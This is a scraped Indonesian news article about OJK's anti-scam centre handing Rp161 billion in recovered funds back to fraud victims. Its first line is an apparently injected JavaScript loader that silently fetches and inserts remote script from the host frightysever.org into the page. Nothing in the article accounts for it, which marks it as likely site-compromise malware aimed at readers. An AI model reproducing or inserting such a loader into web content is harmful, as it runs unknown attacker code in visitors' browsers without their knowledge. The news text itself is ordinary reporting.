(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Otoritas Jasa Keuangan (OJK) melalui Indonesia Anti Scam Center (IASC) secara resmi menyerahkan dana hasil penipuan senilai Rp161 miliar kepada para korban.
Penyerahan dana dilakukan secara simbolis di gedung AA Maramis, Kementerian Keuangan, Jakarta, Rabu (21/1/2026) siang.
Ketua Dewan Komisioner OJK Mahendra Siregar mengatakan, pengembalian dana hasil scam tersebut bukan sekadar kegiatan seremonial, melainkan wujud komitmen OJK dalam memperkuat pelindungan konsumen dan masyarakat sekaligus membangun kepercayaan terhadap sistem jasa keuangan.
Baca juga: Ini Prakiraan Kondisi Cuaca Kalsel dalam Sepekan ke Depan
“Saya rasa kegiatan ini bukan hal yang rutin, reguler, dan seremonial. Tetapi seharusnya menjadi bentuk komitmen bersama yang kuat untuk benar-benar memastikan pelindungan konsumen dan kepercayaan terhadap sektor jasa keuangan terus kita tingkatkan,” ujar Mahendra dalam sambutannya.
Secara kumulatif, kerugian masyarakat akibat kejahatan scam yang dilaporkan ke IASC mencapai Rp9,1 triliun. Adapun dana yang berhasil diamankan atau diblokir melalui sistem IASC tercatat sebesar Rp436,88 miliar.
Berdasarkan data OJK pada periode 22 November 2024 hingga 14 Januari 2026, tercatat sebanyak 432.637 laporan pengaduan masuk ke IASC. Dari jumlah tersebut, sebanyak 721.101 rekening dilaporkan terkait aktivitas penipuan, dan 397.028 rekening di antaranya telah berhasil diblokir.
Mahendra menuturkan, meskipun pengembalian dana korban scam yang dilakukan hari ini baru sekitar 5% dari total laporan kerugian, capaian tersebut dinilai cukup baik dan sebanding dengan negara-negara lain dalam upaya pemulihan dana korban penipuan. Terlebih, IASC baru beroperasi selama satu tahun.
Baca juga: Disporapar Balangan Seleksi Atlet Basket dan Voli Popda 2026
Lebih lanjut, Mahendra menyampaikan apresiasi kepada pihak-pihak yang tergabung dalam Satgas Pasti yang mengoordinasikan IASC, di antaranya Bareskrim Polri, perbankan, serta industri fintech yang turut mendukung kelancaran pengembalian dana nasabah. Ia juga mengapresiasi keberanian masyarakat yang melaporkan kerugian melalui IASC.
Dalam kesempatan yang sama, Kepala Eksekutif Pengawas Perilaku Usaha Jasa Keuangan, Edukasi, dan Pelindungan Konsumen OJK, Friderica Widyasari Dewi mengapresiasi sinergi dan kolaborasi lintas lembaga dalam pengembalian dana korban penipuan melalui IASC.
Dia menuturkan, penyerahan dana sebesar Rp161 miliar kepada korban scam merupakan langkah perdana dan menjadi bukti nyata kerja sama antara OJK, lembaga negara, aparat penegak hukum, serta pelaku industri jasa keuangan yang tergabung dalam Satgas Pasti, termasuk perbankan dan penyelenggara sistem pembayaran.
“Ini merupakan suatu kebahagiaan dan kebanggaan bagi kami karena untuk pertama kalinya, melalui Indonesia Anti-Scam Center, kami dapat menyerahkan dana masyarakat korban scam,” katanya.
Baca juga: Rakor Kementan RI di Kapuas, Kolaborasi Pusat Daerah Dukung Swasembada Pangan
“Ini adalah hasil sinergi dan kolaborasi semua pihak, dan insyaallah manfaatnya akan langsung dirasakan oleh masyarakat,” ujar perempuan yang akrab disapa Kiki tersebut.
Kiki mengungkapkan, hingga saat ini dana yang berhasil diblokir melalui IASC telah melampaui Rp400 miliar. Namun, dengan mempertimbangkan berbagai aspek, dana yang diserahkan kepada korban pada tahap ini baru mencapai Rp161 miliar. OJK akan terus berupaya mengembalikan sisa dana penipuan yang belum berhasil diamankan.
“Alhamdulillah, dana yang berhasil diblokir sudah lebih dari Rp400 miliar. Tetapi karena satu dan lain hal, hari ini kami menyerahkan kepada korban sebesar Rp 161 miliar,” ungkapnya.
Baca juga: Pemkab Kapuas Tegaskan Komitmen Tata Kelola Keuangan Akuntabel
Ia menegaskan, kejahatan keuangan tidak boleh dibiarkan dan korban tidak boleh menghadapi permasalahan sendirian. Menurutnya, kejahatan scam dapat menimpa siapa saja tanpa memandang latar belakang pendidikan, jabatan, maupun status sosial.
“Kejahatan ini bisa terjadi pada siapa saja. Karena itu, korban tidak boleh dibiarkan sendirian,” tegas Kiki. (Kanalkalimantan.com/Beritasatu)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More
This website uses cookies.